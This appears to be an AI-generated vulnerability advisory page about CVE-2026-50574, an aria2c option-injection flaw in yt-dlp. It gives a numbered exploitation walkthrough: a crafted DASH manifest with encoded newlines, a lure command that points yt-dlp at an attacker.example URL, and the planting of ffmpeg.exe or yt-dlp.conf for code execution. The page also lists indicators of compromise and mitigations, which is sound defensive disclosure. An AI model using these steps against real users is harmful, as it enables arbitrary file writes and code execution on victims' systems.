CVE-2026-50574
Python vulnerability analysis and mitigation

Overview

CVE-2026-50574 is an injection vulnerability in yt-dlp (a command-line audio/video downloader) that allows arbitrary file write and subsequent arbitrary code execution when aria2c is used as an external downloader for fragmented manifest formats (HLS/DASH streams). All yt-dlp versions prior to 2026.06.09 are affected. The vulnerability was discovered by seproDev, published on June 9, 2026, and formally disclosed to the GitHub Advisory Database on June 16, 2026. The CVSS v3.1 base score is 8.3 (High) per the official GitHub Security Advisory, though some sources estimate it as high as 9.6 (GitHub Advisory, yt-dlp Advisory).

Technical details

The root cause is CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component — Injection). When yt-dlp downloads a fragmented manifest (HLS/DASH), it extracts fragment URLs and constructs an input file for aria2c using the -i option. Because aria2c's input file format allows configuration lines (prefixed with whitespace) after each URI, unsanitized input can inject arbitrary aria2c options. Two specific attack vectors exist: (1) A malicious DASH manifest can embed 
 (the HTML-escaped newline) in fragment URLs; yt-dlp unescapes this when writing the aria2c input file, enabling option injection and arbitrary file writes via DASH downloads. (2) A malicious metadata response with newlines and magnet URIs in the title or other template fields — combined with the --no-windows-filename flag — enables injection via both HLS and DASH downloads. On Windows, an attacker can write a malicious ffmpeg.exe to the current working directory for immediate code execution during postprocessing; on all platforms, writing a yt-dlp.conf file with a malicious --exec argument achieves code execution on the next yt-dlp invocation (yt-dlp Advisory, GitHub Advisory).

Impact

Successful exploitation allows an unauthenticated remote attacker to write arbitrary files to the victim's filesystem and achieve full arbitrary code execution — with high confidentiality, integrity, and availability impact. On Windows, code execution is immediate (during the same yt-dlp session via a dropped ffmpeg.exe); on Linux/macOS, it occurs upon the next yt-dlp invocation via a poisoned yt-dlp.conf. The scope is changed, meaning the impact extends beyond the yt-dlp process itself to the broader system (yt-dlp Advisory, GitHub Advisory).

Exploitation steps

  1. Set up a malicious server: Host a crafted DASH manifest (MPD file) on an attacker-controlled web server. In one or more <BaseURL> or segment URL fields, embed the HTML entity &#10; (which yt-dlp will unescape to a newline character) followed by a whitespace-prefixed aria2c option line such as out=/path/to/target/ffmpeg.exe and a URI pointing to a malicious payload.
  2. Lure the victim: Socially engineer the target user into running yt-dlp with aria2c as the external downloader against the malicious URL, e.g.: yt-dlp --downloader aria2c 'https://attacker.example/malicious.mpd'.
  3. Trigger input file construction: yt-dlp parses the DASH manifest, unescapes &#10; to a real newline, and writes the aria2c input file. The injected option lines are now present in the file, directing aria2c to write attacker-controlled content to an attacker-specified path.
  4. Achieve arbitrary file write: aria2c processes the input file and downloads the attacker's payload, writing it to the specified location (e.g., ffmpeg.exe in the current working directory, or yt-dlp.conf in a yt-dlp config directory).
  5. Achieve code execution (Windows): If ffmpeg.exe was written to the current working directory and yt-dlp.exe also resides there, yt-dlp's postprocessing stage invokes the malicious ffmpeg.exe, executing attacker code immediately.
  6. Achieve code execution (non-Windows): If a malicious yt-dlp.conf was written containing --exec <malicious_command>, the payload executes the next time the victim runs yt-dlp (yt-dlp Advisory, GitHub Advisory).

Indicators of compromise

  • File System: Unexpected ffmpeg.exe file appearing in the current working directory alongside yt-dlp.exe on Windows; unexpected yt-dlp.conf file created in the current working directory or yt-dlp config directories on any platform; aria2c input/temp files containing unusual URIs or option lines with out= pointing to sensitive paths.
  • Process: ffmpeg.exe spawned from an unexpected location (not the system PATH or configured ffmpeg directory); yt-dlp spawning unexpected child processes defined by a --exec argument in a config file.
  • Network: Outbound connections from the yt-dlp host to unexpected IP addresses or domains during or after a media download session; aria2c downloading files to paths outside the expected output directory.
  • Logs: yt-dlp or aria2c logs showing fragment URLs containing encoded newline sequences (&#10;) or unusual out= directives; system logs showing execution of binaries from the current working directory unexpectedly (yt-dlp Advisory).

Mitigation and workarounds

Upgrade yt-dlp to version 2026.06.09 or later, which fixes the issue by removing support for downloading fragmented manifest formats (HLS/DASH) with aria2c entirely (yt-dlp Advisory, GitHub Advisory). For users unable to upgrade immediately, add --downloader dash,m3u8:native to all yt-dlp commands to force the use of the native downloader for HLS and DASH streams instead of aria2c. Additionally, avoid using the --no-windows-filename flag when downloading from untrusted sources, and refrain from downloading HLS/DASH content from untrusted URLs with aria2c configured as the external downloader.

Community reactions

The release of yt-dlp 2026.06.09 was noted by the community on Reddit's r/youtubedl shortly after publication, with users discussing the security fix (Reddit). The Solus Linux project highlighted the update in their weekly digest, and multiple Linux distributions including Fedora, openSUSE, Mageia, and Debian issued security advisories and updated packages. Red Hat tracked the issue via Bugzilla (Red Hat Bugzilla). Security scanning vendors Tenable (Nessus) and Qualys added detection plugins shortly after disclosure.

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hmj8-5xmh-5573HIGH7.5
  • Python logoPython
  • libp2p
NoNoJul 24, 2026
GHSA-94p4-4cq8-9g67HIGH7.5
  • Python logoPython
  • gitpython
NoYesJul 24, 2026
GHSA-47w6-gwp4-w6vcHIGH7.1
  • Python logoPython
  • vantage6
NoNoJul 24, 2026
CVE-2026-59714HIGH7.1
  • Python logoPython
  • open-webui
NoYesJul 24, 2026
GHSA-464c-974j-9xm6LOW3.3
  • JavaScript logoJavaScript
  • software.amazon.awscdk:aws-cdk-lib
NoYesJul 24, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management